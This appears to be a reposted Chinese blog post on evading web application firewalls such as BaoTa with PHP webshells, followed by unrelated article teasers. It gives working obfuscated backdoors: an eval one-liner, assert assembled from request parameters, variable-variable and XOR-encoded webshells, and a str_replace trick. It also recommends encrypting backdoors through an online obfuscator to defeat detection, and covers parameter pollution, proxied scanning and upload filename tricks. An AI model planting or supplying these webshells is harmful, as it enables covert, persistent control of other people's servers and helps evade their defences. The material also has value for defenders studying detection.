WAF攻防相关知识点总结2-代码免杀绕过

news2024/12/23 14:42:31

WAF的检测除了有对于非正常的流量检测外还对于非正常的数据包特征进行检测

以宝塔为例

在宝塔的后台可以放置一句话木马的文件

宝塔不会对于这个文件进行拦截,但是一旦我们使用菜刀蚁剑等webshell工具去进行连接的时候,数据报中有流量特征就会被拦截

经过检测可以知道是waf对于数据报中的关键字进行了检测

绕过思路

传参绕过:waf拦截使用的是正则表达式,匹配函数的关键字

绕过思路就是把关键字的函数代码以参数值的形式进行发送

一句话木门是<?php eval($_POST['x'])?>

1.使用参数传递进行绕过
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

连接方式 ?a=ass

post: x=base64encode('后门代码')

绕过宝塔的后门代码

<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>
2.变量覆盖

可以再进行混淆

<?php
$a=$_GET['1'];
$b=$_GET['2'];
$$a($_POST['3']);
?>

连接方式1=b&2=assert

3.异或运算绕过

为了绕过waf的检测,我们可以使用异或运算来组成我们需要的后门代码。抑或运算的原理是使用两个特殊字符进行抑或获得我们需要的字符,这种一位异或使用的是特殊字符如$、@等等,如果waf采取的是字符过滤就很难拦截这种报文

举个例子

在php中我们使用!和@进行抑或即可以获得到字母a,这样的话就可以使用以异或运算绕过检测

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
4.代码后门加密(推荐使用)

使用加密平台加密我们的后门代码基本上可以实现通杀

PHP加密 - PHP在线加密平台 (phpjm.net)

加密代码的结果

这种在线的加密方式往往采用的是特殊的 秘钥进行加密,平台不知道秘钥的情况下就无法对于文件中的内容进行解密分析,判断其中是否有后门

5.参数污染

不的中间件解析我们传递参数的方式不同

我们可以根据中间件和waf结合的特性去向网站提交数据,如果网站接收的数据和waf拦截的方式不同,我们就可以将同一个参数提交两次,在waf拦击的地方传入合法的值,在网站接收的地方传入注入语句就可以绕过waf实现注入攻击,不过这种情况已经十分少见不常使用,作为知识补充

5.代理设置

我们在进行xss,SQL注入等等测试的时候为了找到漏洞点往往需要使用大量的的测试语句进行测试,为此我们在使用工具的时候需要配代理来绕过网站对于流量的检测从而达到我们的测试实验目的像sqlmap,xsstrike等工具都可以设置代理进行测试,使用时候查阅相关文档即可

6.其他的一些绕过手段

上传文件的时候可以使用同种类型的文件进行替代绕过检测,但是前提条件是后端支持相似文件后缀的解析,通过简单的访问就可以检测出是否支持,如果在这次,就会正常访问,如果不解析,就会出现下载等一系列其他的文件操作行为

操作系统自身的一些特点,例如文件名的结尾有点、空格等字符会自动被过滤但是代码检测的时候由于特殊字符干扰就可以绕过一些waf的检测

使用php中自带的replace函数,将代码中的关键字进替换从而绕过检测

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

换行绕过

我们可以将php后缀改为

p

h

p

的形式,后端代码在检测的时候会有换行符干扰从而绕过检测,不过大部分waf已经对于这种进行拦截,基本失效

不过这些方式大部分已经被waf修复,实战中利用价值不是很大,作为知识的积累和补充    

写在最后

如有错误,请及时指出,感谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1408319.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【仿网易云H5部署】Nodejs后台 + uniapp前台 部署

前言 之前在b站跟着学习写了前锋的<仿网易云音乐>uniapp项目 , 在这里记录一下H5版本的部署上线的过程. 这是该项目的b站链接:【千锋教育】前端项目_uni-app入门到实战项目之《仿网易云音乐》_哔哩哔哩_bilibili 一.后端 使用宝塔面板来部署 (1) 百度搜索宝塔面板, 复…

Java中的this和super

①this 在Java中&#xff0c;this关键字代表当前对象的引用。它可以用于以下几个方面&#xff1a; 引用当前对象的成员变量&#xff1a;使用this关键字可以引用当前对象的成员变量&#xff0c;以区分成员变量和方法参数或局部变量之间的命名冲突。例如&#xff0c;如果一个方法…

微信小程序wx.getRealtimeLogManager无法查看log内容

解决方案&#xff1a; 首先&#xff0c;检查在we分析是否启用实时日志&#xff0c;入口如下&#xff1a; 其次&#xff0c;检查基本语法是否正确&#xff0c;参考如下&#xff1a; var logger wx.getRealtimeLogManager() logger.error("error message") 最后&a…

基于若依的ruoyi-nbcio流程管理系统一种简单的动态表单模拟测试实现(四)

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a; https://gitee.com/nbacheng/n…

《Linux高性能服务器编程》笔记04

Linux高性能服务器编程 本文是读书笔记&#xff0c;如有侵权&#xff0c;请联系删除。 参考 Linux高性能服务器编程源码: https://github.com/raichen/LinuxServerCodes 豆瓣: Linux高性能服务器编程 文章目录 Linux高性能服务器编程第09章I/O复用9.1 select系统调用9.2 po…

C++ | 六、栈 Stack、队列 Queue

栈的基础知识 栈&#xff08;stack&#xff09;是一种数据结构&#xff0c;在C中属于STL&#xff08;标准库&#xff09;特点&#xff1a;先进后出 栈的使用&#xff1a; 一、引入头文件<stack>二、创建栈变量&#xff08;类似容器、集合的创建方式&#xff09;&#xf…

【心得】java从CC1链入门CC链个人笔记

来劲了&#xff0c;感觉离真正的CTF又近了一步。 本文仅从一个萌新的角度去谈&#xff0c;如有纰漏&#xff0c;纯属蒟蒻。 目录 CC链概念 CC链学习前置知识 CC1链 Version1 Version2 Version3 CC链概念 CC链 Commons Collections apache组织发布的开源库 里面主要对…

JS之打地鼠案例

需要素材的同学可以私信我 效果图&#xff1a; 上代码&#xff1a; <!DOCTYPE html> <html> <head><meta charset"utf-8"><title></title><style>* {margin: 0;padding: 0;}.box {position: relative;width: 320px;heigh…

论文阅读:Vary-toy论文阅读笔记

目录 引言整体结构图方法介绍训练vision vocabulary阶段PDF数据目标检测数据 训练Vary-toy阶段Vary-toy结构数据集情况 引言 论文&#xff1a;Small Language Model Meets with Reinforced Vision Vocabulary Paper | Github | Demo 说来也巧&#xff0c;之前在写论文阅读&…

更新至2023年各省环境规制数据合集(七种测算方法)

更新至2023年各省环境规制数据合集&#xff08;七种测算方法&#xff09; 一、2002-2023年全国各省ZF报告词频环境规制关键词词频统计数据 1、时间&#xff1a;2001-2022年 2、指标&#xff1a;文本总长度、仅中英文-文本总长度、文本总词频-全模式、文本总词频-精确模式、环…

计算机中找不到vcomp140.dll无法继续执行代码有哪些解决方法

vcomp140.dll是微软Visual C编译器的一个组件&#xff0c;主要用于支持并行计算和OpenMP库的实现。以下是这个DLL文件的属性介绍&#xff1a; 文件名&#xff1a;vcomp140.dll 这个文件名中的“140”指的是与Visual C的版本相对应的内部版本号&#xff0c;这里对应的是2015版…

聚焦AI4S,产学研专家齐聚,探讨AI工具在多领域应用的现状与趋势

2023 和鲸社区年度科研闭门会以“对话 AI for Science 先行者&#xff0c;如何抓住科研范式新机遇”为主题&#xff0c;邀请了多个领域的专家学者共同探讨人工智能在各自领域的发展现状与未来趋势。 闭门会圆桌论坛由和鲸科技联合创始人、执行总裁兼首席产品官殷自强主持&…

Linux之快速入门(CentOS 7)

文章目录 一、Linux目录结构二、常用命令2.1 切换用户2.2查看ip地址2.3 cd2.4 目录查看2.5 查看文件内容2.6 创建目录及文件2.7 复制和移动2.8 其他2.9 tar3.0 which3.1 whereis3.2 find&#xff08;这个命令尽量在少量用户使用此软件时运行&#xff0c;因为此命令是真的读磁盘…

ifconfig 主机ip url记录

ifconfig 容器Pods相关主机与url信息 一文搞懂网络知识&#xff0c;IP、子网掩码、网关、DNS、端口号_关于ip,网关。端口-CSDN博客 计算机网络知识之URL、IP、子网掩码、端口号_ip地址和url-CSDN博客 阅读看下以上文章 由此可知 1.主机ip 10.129.22.124 10.129.22 是网段…

线程池高手进阶:揭秘ThreadPoolExecutor的小妙招!

RejectedExecutionHandler总结 ThreadPoolExecutor 是 Java 中用于创建和管理线程池的接口&#xff0c;当线程池中的任务队列已满&#xff0c;并且线程池中的线程数量已经达到最大时&#xff0c;如果再有新的任务提交&#xff0c;就需要一个策略来处理这些无法执行的任务。它 …

c++ 截图GetWindowDC,并保存到文件夹下---手把手教

工作中遇到一个需求&#xff0c;需要在用户操作过后&#xff0c;需要截图来确认用户操作过后&#xff0c;真实的呈现结果&#xff0c;用来后期验证 直接上代码 直接使用&#xff0c;修改自己需要捕获的窗口名字就可以了 OnBnClickedBtUpimage(){CString strPathTmp;GetAppPath…

2024年 IT 行业就业情况能否回春?很多人说道…

我只能说可以&#xff0c;以前我是看不到的。但是鸿蒙全栈自研让我重新看到希望&#xff01; 2024年1月18日&#xff0c;华为鸿蒙千帆启航发布会。讲到HarmonyOS NEXT作为原生鸿蒙&#xff0c;其系统底座全栈自研&#xff0c;去掉了传统的AOSP 代码&#xff08;“Android 开放…

基于变异混合蛙跳算法的车间调度最优化matlab仿真,可以任意调整工件数和机器数,输出甘特图

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 4.1 车间调度问题&#xff08;JSSP&#xff09;描述 4.2 蛙跳算法&#xff08;SFLA&#xff09;基本原理 4.2.1 初始化 4.2.2 局部搜索 4.2.3 全局信息交换 4.2.4 变异策略 4.2.5 终止…

音乐证书通过率发布,市场对持有者需求旺盛

音乐证书的考试难度备受关注&#xff0c;通过率终于揭晓。据官方公布的数据&#xff0c;该证书的通过率相对较低&#xff0c;需要考生在音乐技能和表现方面有出色的表现。然而&#xff0c;持有音乐证书的人才在市场上需求旺盛&#xff0c;各种音乐机构和企业对其表现出强烈兴趣…

【AI视野·今日CV 计算机视觉论文速览 第288期】Thu, 11 Jan 2024

AI视野今日CS.CV 计算机视觉论文速览 Thu, 11 Jan 2024 Totally 50 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Computer Vision Papers Towards Online Sign Language Recognition and Translation Authors Ronglai Zuo, Fangyun Wei, Brian Mak手语识别的目标…